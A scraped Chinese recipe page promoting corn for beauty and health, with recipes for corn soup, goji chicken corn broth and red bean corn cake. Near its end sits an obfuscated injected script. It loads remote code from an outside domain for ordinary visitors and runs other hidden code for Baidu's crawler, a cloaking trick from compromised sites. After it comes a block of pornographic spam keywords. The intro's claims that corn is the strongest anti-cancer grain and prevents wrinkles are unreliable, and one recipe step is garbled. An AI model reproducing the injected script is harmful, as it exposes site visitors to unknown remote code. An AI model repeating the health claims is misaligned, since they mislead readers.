當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

五谷雜糧玉米最強-玉米養顏食譜

2015-08-05 22:45:45  來源:360常識網   熱度:
導語:玉米可說是五谷雜糧中最好的抗癌產品,其含有豐富的膳食纖維、玉米黃素、維生素B6、菸鹼酸等成分,且有刺激腸胃蠕動之功能。

女性攝取玉米可有助于美容及讓皮膚更細膩的功效,同時也可以延緩老化,甚至有抑制皺紋產生之作用。長期服用玉米,也可以降血脂及降低血清膽固醇。

五谷雜糧玉米最強-玉米養顏食譜

五谷雜糧玉米最強-玉米養顏食譜

玉米養顏食譜:

女性攝取玉米可有助于美容及讓皮膚更細膩的功效,同時也可以延緩老化,甚至有抑制皺紋產生之作用。長期服用玉米,也可以降血脂及降低血清膽固醇。

玉米濃湯

原料:玉米粒,黃油,牛奶,面粉,高湯。

做法:

1、炒鍋加熱,放入黃油將其融化;

2、放入少許面粉小火翻炒,待面粉炒出香味后倒入高湯,迅速攪拌,并用中火煮開;

3、倒入牛奶,煮至濃稠,然后過濾掉沒化開的面粉顆粒;

4、玉米粒加入適量高湯,一起放入攪拌機中打成糊狀;

5、將過濾好的牛奶濃湯倒回鍋中,再倒入剛剛攪打好的玉米糊,煮開,最后加入少許鹽和胡椒粉調味即可。

枸杞雞汁玉米羹

原料:嫩玉米粒50-100克,枸杞子15克,雞蛋一個,雞湯適量。

做法:

1、將嫩玉米粒蒸熟爛或壓爛;

2、然后放入雞湯中煮透;

3、放入枸杞子再煮5分鐘,勾淀粉,用蛋花,調味后即可食用。

紅豆玉米糕

原料:玉米粉,紅小豆,西米,白糖,熟豬油等各適量。

做法:

1、將紅小豆中的雜質挑干凈,用水清洗干凈,放在鍋內加入適量的水,用大火將紅小豆燒開后,改用小火燜至熟,加入白糖煮至完全溶化;

2、西米洗干凈后,放在水中浸透,加上做好的紅小豆湯中,邊加邊攪拌,直到西米完全透明為止;

3、將玉米粉放在碗里加水調好后,慢慢加入紅小豆湯中,邊煮邊攪拌,煮到有彈性時?;穑?/p>

4、取一個干凈的長方盆,內壁涂上油,將煮好的紅小豆玉米粉糊放在蒸鍋中,用大火蒸半個小時左右取出晾涼;

5、將涼透的玉米糕扣在干凈的案板上,先切成長條,再改切成塊或是片,放在盤中就可以食用。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品一区二区三区东京热| 久热爱精品视频在线| 久久夜色精品国产噜噜噜亚洲AV| 精品久久一区二区| 久久久久99精品国产片| 精品熟女少妇a∨免费久久| 91大神在线精品网址| 99久久人妻无码精品系列| 九九精品国产亚洲AV日韩| 国产成人亚洲精品蜜芽影院| 国产精品毛片无码| 久久成人精品视频| 久久久久无码精品国产不卡| 久久99热这里只频精品6| 精品国产一区二区三区久 | 国产手机精品一区二区 | 2021国产精品自拍| 国产亚洲精品成人AA片| 国产精品国产三级国产AV′| 国产精品美女网站| 久久国产精品鲁丝片| 国产精品久久女同磨豆腐| 精品免费久久久久久成人影院| d动漫精品专区久久| 国产精品多人p群无码| 国产精品久久波多野结衣| 国产高清在线精品免费软件| 久久免费99精品国产自在现线| 久久99国产亚洲精品观看| 亚洲精品无码专区在线| 国产成人无码精品一区不卡| 亚洲中文久久精品无码ww16| 91精品国产91久久久久久蜜臀| 精品国产日韩亚洲一区91| 9i9精品国产免费久久| 久久99精品久久久久久hb无码 | 青草青草久热精品视频在线观看| 国产偷久久久精品专区| 久久99精品久久久大学生| 国产成人精品午夜视频'| 日本精品卡一卡2卡3卡四卡|